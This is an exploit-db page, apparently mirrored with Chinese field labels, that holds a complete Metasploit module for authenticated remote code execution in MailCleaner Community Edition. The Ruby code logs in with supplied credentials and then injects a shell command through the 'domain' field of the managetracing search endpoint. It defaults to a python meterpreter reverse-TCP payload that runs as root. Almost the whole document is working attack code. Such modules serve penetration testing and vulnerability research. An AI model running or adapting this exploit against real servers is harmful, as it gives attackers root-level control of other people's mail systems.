Mailcleaner – (Authenticated) Remote Code Execution (Metasploit)

  • 作者: Mehmet Ince
    日期: 2019-01-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46075/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Mailcleaner Remote Code Execution",
    'Description'=> %q{
    This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an
    operating system command under the context of the web server user which is root.
    
    /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
    operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
    ],
    'References' =>
    [
    ['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/']
    ],
    'DefaultOptions'=>
    {
    'SSL' => true,
    'WfsDelay' => 5,
    'Payload'=> 'python/meterpreter/reverse_tcp'
    },
    'Platform' => ['python', 'unix'],
    'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
    'Targets'=>
    [
    [
    'Python payload',
    {
    'Platform' => 'python',
    'Arch' => ARCH_PYTHON,
    }
    ],
    [
    'Command payload',
    {
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Payload' =>
    {
    'BadChars' => "\x26",
    }
    }
    ]
    ],
    'Privileged' => false,
    'DisclosureDate' => "Dec 19 2018",
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    Opt::RPORT(443),
    OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
    OptString.new('USERNAME', [true, 'The username to login as']),
    OptString.new('PASSWORD', [true, 'The password to login with'])
    ]
    )
    end
    
    def username
    datastore['USERNAME']
    end
    
    def password
    datastore['PASSWORD']
    end
    
    def auth
    print_status('Performing authentication...')
    
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'admin/')
    })
    
    if res && !res.get_cookies.empty?
    cookie = res.get_cookies
    else
    fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.')
    end
    
    # Performing authentication
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin/'),
    'cookie'=> cookie,
    'vars_post' => {
    'username'=> username,
    'password' => password,
    'submit' => 'Log+in'
    }
    })
    
    if res && res.code == 302
    print_good("Awesome..! Authenticated with #{username}:#{password}")
    else
    fail_with(Failure::NoAccess, 'Credentials are not valid.')
    end
    
    cookie
    end
    
    def exploit
    cookie = auth
    
    if cookie.nil?
    fail_with(Failure::Unknown, 'Something went wrong!')
    end
    
    print_status('Exploiting command injection flaw')
    
    if target['Arch'] == ARCH_PYTHON
    cmd = "';$(python -c \"#{payload.encoded}\");#"
    else
    cmd = "';#{payload.encoded};#"
    end
    
    send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'),
    'cookie'=> cookie,
    'vars_post' => {
    'search' => rand_text_alpha(5),
    'domain' => cmd,
    'submit' => 1
    }
    })
    
    end
    end